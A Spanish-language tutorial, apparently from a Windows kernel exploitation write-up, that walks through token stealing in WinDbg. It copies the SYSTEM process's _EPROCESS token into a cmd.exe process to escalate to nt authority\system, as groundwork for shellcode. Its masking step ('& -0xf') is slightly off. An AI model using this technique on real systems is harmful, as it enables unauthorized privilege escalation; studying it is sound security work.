Token
En windows existe un proceso llamado SYSTEM
al cual le pertenece el pid 4
, este alberga la mayoria de subprocesos del sistema en modo kernel, dado que alberga la ejecución del código en modo kernel este deberia estar en un contexto de privilegios administrativos por lo que podemos usarlo como base para nuestro shellcode
0: kd> !process 0 0 System
PROCESS ffff8688a5c99080
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ad000 ObjectTable: ffffb60e7c05bf00 HandleCount: 3042.
Image: System
la dirección que nos otorga el primer resultado es la de la estructura _EPROCESS
de SYSTEM
, entre los atributos de la estructura en el offset 0x4b8
encontramos lo primero interesante para nuestro shellcode, esto es el campo Token
del proceso
0: kd> dt nt!_EPROCESS 0xffff8688a5c99080
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : 0x00000000`00000004 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8688`a5d084c8 - 0xfffff807`04a1e0d0 ]
+0x458 RundownProtect : _EX_RUNDOWN_REF
+0x460 Flags2 : 0xd000
................................
+0x4b0 ExceptionPortData : (null)
+0x4b0 ExceptionPortValue : 0
+0x4b0 ExceptionPortState : 0y000
+0x4b8 Token : _EX_FAST_REF
El campo Token
se muestra como una estructura _EX_FAST_REF
, esta almacena 3 atributos entre los cuales cambia solo el tipo de dato, ya que el offset
se mantiene
0: kd> dt nt!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B
En esta estructura se almacena nuestro token, esto podemos verlo accediendo al valor en el offset 0x4b8 del proceso, luego limpiaremos el valor de RefCnt
0: kd> dt nt!_EX_FAST_REF 0xffff8688a5c99080 + 0x4b8
+0x000 Object : 0xffffb60e`7c036895 Void
+0x000 RefCnt : 0y0101
+0x000 Value : 0xffffb60e`7c036895
El campo RefCnt
es igual a 0y0101
que equivale a 5
en decimal, usando and
podemos limpiar el ultimo bit, el resultado que obtenemos es 5
, lo que nos interesa es el valor opuesto, osea el token con este bit limpio, para usaremos -
en 0xf
0: kd> ? 0y0101
Evaluate expression: 5 = 00000000`00000005
0: kd> ? 0xffffb60e7c036895 & 0xf
Evaluate expression: 5 = 00000000`00000005
0:000> ? 0xffffb60e7c036895 & -0xf
Evaluate expression: -81301650315119 = ffffb60e`7c036891
De esta forma tenemos el token
sin procesar, en este punto podemos copiarlo a otro proceso, y nada mejor que hacerlo a una cmd.exe
para comprobar su funcionamiento
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Users\user> whoami
windows\user
C:\Users\user>
Después de generar el proceso identificaremos la dirección del proceso, luego de ello podemos sobrescribir el token
por el que conseguimos anteriormente de SYSTEM
0: kd> !process 0 0 cmd.exe
PROCESS ffff8688ad974080
SessionId: 1 Cid: 1e5c Peb: c21129d000 ParentCid: 14e0
DirBase: ac421000 ObjectTable: ffffb60e8166c3c0 HandleCount: 80.
Image: cmd.exe
0: kd> eq 0xffff8688ad974080 + 0x4b8 0xffffb60e7c036891
0: kd> g
Como resultado, al volver a la cmd.exe
y comprobar el usuario y privilegios, ahora es nt authority\system
ya que hemos suplantado todos los privilegios con el token
C:\Users\user> whoami
nt authority\system
C:\Users\user>